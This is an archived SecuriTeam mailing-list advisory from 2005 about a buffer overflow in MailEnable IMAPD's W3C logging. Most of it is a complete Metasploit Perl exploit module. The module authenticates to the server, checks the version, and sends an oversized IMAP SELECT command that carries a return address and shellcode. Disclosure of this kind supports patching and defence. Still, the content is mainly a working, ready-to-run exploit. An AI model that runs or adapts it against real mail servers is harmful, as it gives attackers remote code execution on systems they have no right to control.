[EXPL] MailEnable IMAPD Logging Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/21/05

  • Next message: SecuriTeam: "[EXPL] Multiple Vulnerabilities Google Search Appliance Proxystyle*** (Multiple XSS, Multiple Information disclosure, Java Code Execution, Exploit)" 
    To: list@securiteam.com
Date: 21 Nov 2005 16:06:05 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      MailEnable IMAPD Logging Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.mailenable.com/> MailEnable provides robust SMTP and POP3
    services for Windows NT/2000/XP/2003 systems."

    The following Metasploit module exploits a buffer overflow in the W3C
    logging functionality of the MailEnable IMAPD service. Logging is not
    enabled by default and this exploit requires a valid username and password
    to exploit the flaw.

    DETAILS

    Vulnerable Systems:
     * MailEnable Professional version 1.6 and prior
     * MailEnable Enterprise version 1.1 and prior

    Exploit:
    ##
    # This file is part of the Metasploit Framework and may be redistributed
    # according to the licenses defined in the Authors field below. In the
    # case of an unknown or missing license, this file defaults to the same
    # license as the core Framework (dual GPLv2 and Artistic). The latest
    # version of the Framework can always be obtained from metasploit.com.
    ##

    package Msf::Exploit::mailenable_imap_w3c;
    use strict;
    use base 'Msf::Exploit';
    use Msf::Socket::Tcp;
    use Pex::Text;

    my $advanced = {
      };

    my $info = {
            'Name' => 'MailEnable IMAPD W3C Logging Buffer Overflow',
            'Version' => '$Revision: 1.1 $',
            'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
            'Arch' => [ 'x86' ],
            'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
            'Priv' => 1,
            'AutoOpts' =>
              {
                    'EXITFUNC' => 'thread',
              },
            'UserOpts' =>
              {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 143],
                    'USER' => [1, 'DATA', 'IMAP Username'],
                    'PASS' => [1, 'DATA', 'IMAP Password'],

              },
            'Payload' =>
              {
                    'Prepend' =>
    "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
                    'Space' => 600,
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'Keys' => ['+ws2ord'],
              },
            'Description' => Pex::Text::Freeform(qq{
                    This module exploits a buffer overflow in the W3C logging
            functionality of the MailEnable IMAPD service. Logging is not
            enabled by default and this exploit requires a valid username
            and password to exploit the flaw. MailEnable Professional version
            1.6 and prior and MailEnable Enterprise version 1.1 and prior are
            affected.
    }),
            'Refs' =>
              [
                    ['BID', 15006],
              ],
            'Targets' =>
              [
                    ['MailEnable 1.54 Pro Universal', 0x1001c019], #MEAISP.DLL
              ],
            'Keys' => ['imap'],
      };

    sub new {
            my $class = shift;
            my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
    $advanced}, @_);

            return($self);
    }

    sub Check {
            my ($self) = @_;
            my $target_host = $self->GetVar('RHOST');
            my $target_port = $self->GetVar('RPORT');

            my $s = Msf::Socket::Tcp->new
              (
                    'PeerAddr' => $target_host,
                    'PeerPort' => 25,
                    'LocalPort' => $self->GetVar('CPORT'),
                    'SSL' => $self->GetVar('SSL'),
              );

            if ($s->IsError) {
                    $self->PrintLine('[*] Error creating socket: ' .
    $s->GetError);
                    return $self->CheckCode('Connect');
            }

            $s->Send("QUIT\r\n");
            my $res = $s->Recv(-1, 20);
            $s->Close();

            if ($res !~ /MailEnable Service, Version: 0-1\.54/) {
                    $self->PrintLine("[*] This server does not appear to be
    vulnerable.");
                    return $self->CheckCode('Safe');
            }

            $self->PrintLine("[*] Vulnerable installation detected :-)");
            return $self->CheckCode('Detected');
    }

    sub Exploit {
            my $self = shift;

            my $targetHost = $self->GetVar('RHOST');
            my $targetPort = $self->GetVar('RPORT');
            my $targetIndex = $self->GetVar('TARGET');
            my $user = $self->GetVar('USER');
            my $pass = $self->GetVar('PASS');
            my $encodedPayload = $self->GetVar('EncodedPayload');
            my $shellcode = $encodedPayload->Payload;
            my $target = $self->Targets->[$targetIndex];

            my $sock = Msf::Socket::Tcp->new(
                    'PeerAddr' => $targetHost,
                    'PeerPort' => $targetPort,
              );
            if($sock->IsError) {
                    $self->PrintLine('Error creating socket: ' .
    $sock->GetError);
                    return;
            }

            my $resp = $sock->Recv(-1);
            chomp($resp);
            $self->PrintLine('[*] Got Banner: ' . $resp);

            my $sploit = "a01 LOGIN $user $pass\r\n";
            $sock->Send($sploit);
            my $resp = $sock->Recv(-1);
            if($sock->IsError) {
                    $self->PrintLine('Socket error: ' . $sock->GetError);
                    return;
            }
            if($resp !~ /^a01 BAD LOGIN-/) {
                    $self->PrintLine('Login error: ' . $resp);
                    return;
            }
            $self->PrintLine('[*] Logged in, sending overflow');

            my $splat = Pex::Text::AlphaNumText(6196);
            $sploit =
              "a01 SELECT ". $splat.
              "\xeb\x06". pack('V', $target->[1]).
              $shellcode. "\r\n";

            $sock->Send($sploit);

            my $resp = $sock->Recv(-1);
            if(length($resp)) {
                    $self->PrintLine('[*] Got response, bad: ' . $resp);
            }

            return;

    }

    1;

    ADDITIONAL INFORMATION

    The information has been provided by milw0rm.
    The original article can be found at:
    <http://www.milw0rm.com/id.php?id=1332>
    http://www.milw0rm.com/id.php?id=1332

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] Multiple Vulnerabilities Google Search Appliance Proxystyle*** (Multiple XSS, Multiple Information disclosure, Java Code Execution, Exploit)"

    Relevant Pages